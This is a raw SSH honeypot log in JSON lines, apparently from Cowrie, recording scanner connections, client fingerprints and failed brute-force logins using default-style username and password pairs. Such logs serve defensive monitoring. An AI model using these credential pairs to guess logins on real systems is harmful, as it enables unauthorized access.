{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:02.709998Z","src_ip":"176.65.139.95","session":"2604bbb6262c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43116,"dst_ip":"159.203.135.109","dst_port":22,"session":"89413bdaadb9","protocol":"ssh","message":"New connection: 192.109.200.78:43116 (159.203.135.109:22) [session: 89413bdaadb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:05.433831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:05.439522Z","src_ip":"192.109.200.78","session":"89413bdaadb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:05.522903Z","src_ip":"192.109.200.78","session":"89413bdaadb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:05.914831Z","src_ip":"192.109.200.78","session":"89413bdaadb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:07.004251Z","src_ip":"192.109.200.78","session":"89413bdaadb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56454,"dst_ip":"159.203.135.109","dst_port":22,"session":"b15fa70e23be","protocol":"ssh","message":"New connection: 176.65.139.95:56454 (159.203.135.109:22) [session: b15fa70e23be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:07.602343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:07.609960Z","src_ip":"176.65.139.95","session":"b15fa70e23be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:07.697200Z","src_ip":"176.65.139.95","session":"b15fa70e23be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:08.169515Z","src_ip":"176.65.139.95","session":"b15fa70e23be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:09.256647Z","src_ip":"176.65.139.95","session":"b15fa70e23be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46070,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ed751f09239","protocol":"ssh","message":"New connection: 192.109.200.78:46070 (159.203.135.109:22) [session: 5ed751f09239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:09.642400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:09.648393Z","src_ip":"192.109.200.78","session":"5ed751f09239","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:09.732862Z","src_ip":"192.109.200.78","session":"5ed751f09239","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:09.989277Z","src_ip":"192.109.200.78","session":"5ed751f09239","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:11.078441Z","src_ip":"192.109.200.78","session":"5ed751f09239","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46080,"dst_ip":"159.203.135.109","dst_port":22,"session":"a222c8bfc6dd","protocol":"ssh","message":"New connection: 192.109.200.78:46080 (159.203.135.109:22) [session: a222c8bfc6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:13.731315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:13.809385Z","src_ip":"192.109.200.78","session":"a222c8bfc6dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:13.954728Z","src_ip":"192.109.200.78","session":"a222c8bfc6dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:14.218164Z","src_ip":"192.109.200.78","session":"a222c8bfc6dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48194,"dst_ip":"159.203.135.109","dst_port":22,"session":"41c1b4ea576d","protocol":"ssh","message":"New connection: 176.65.139.95:48194 (159.203.135.109:22) [session: 41c1b4ea576d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:14.436852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:14.441857Z","src_ip":"176.65.139.95","session":"41c1b4ea576d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:14.530517Z","src_ip":"176.65.139.95","session":"41c1b4ea576d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:14.950461Z","src_ip":"176.65.139.95","session":"41c1b4ea576d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:15.303679Z","src_ip":"192.109.200.78","session":"a222c8bfc6dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:16.085264Z","src_ip":"176.65.139.95","session":"41c1b4ea576d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46094,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae8609915f5d","protocol":"ssh","message":"New connection: 192.109.200.78:46094 (159.203.135.109:22) [session: ae8609915f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:17.943679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:17.948120Z","src_ip":"192.109.200.78","session":"ae8609915f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:18.029905Z","src_ip":"192.109.200.78","session":"ae8609915f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:18.286423Z","src_ip":"192.109.200.78","session":"ae8609915f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:19.373805Z","src_ip":"192.109.200.78","session":"ae8609915f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41430,"dst_ip":"159.203.135.109","dst_port":22,"session":"55ad0b945350","protocol":"ssh","message":"New connection: 176.65.139.95:41430 (159.203.135.109:22) [session: 55ad0b945350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:20.816370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:20.821388Z","src_ip":"176.65.139.95","session":"55ad0b945350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:20.910031Z","src_ip":"176.65.139.95","session":"55ad0b945350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:21.277579Z","src_ip":"176.65.139.95","session":"55ad0b945350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:22.362368Z","src_ip":"176.65.139.95","session":"55ad0b945350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35146,"dst_ip":"159.203.135.109","dst_port":22,"session":"2993b1126134","protocol":"ssh","message":"New connection: 192.109.200.78:35146 (159.203.135.109:22) [session: 2993b1126134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:22.454593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:22.461028Z","src_ip":"192.109.200.78","session":"2993b1126134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:22.545083Z","src_ip":"192.109.200.78","session":"2993b1126134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:22.809540Z","src_ip":"192.109.200.78","session":"2993b1126134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":53145,"dst_ip":"10.17.0.5","dst_port":22,"session":"82bad56a5a6c","protocol":"ssh","message":"New connection: 177.54.62.66:53145 (10.17.0.5:22) [session: 82bad56a5a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:23.397025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:23.402198Z","src_ip":"177.54.62.66","session":"82bad56a5a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellma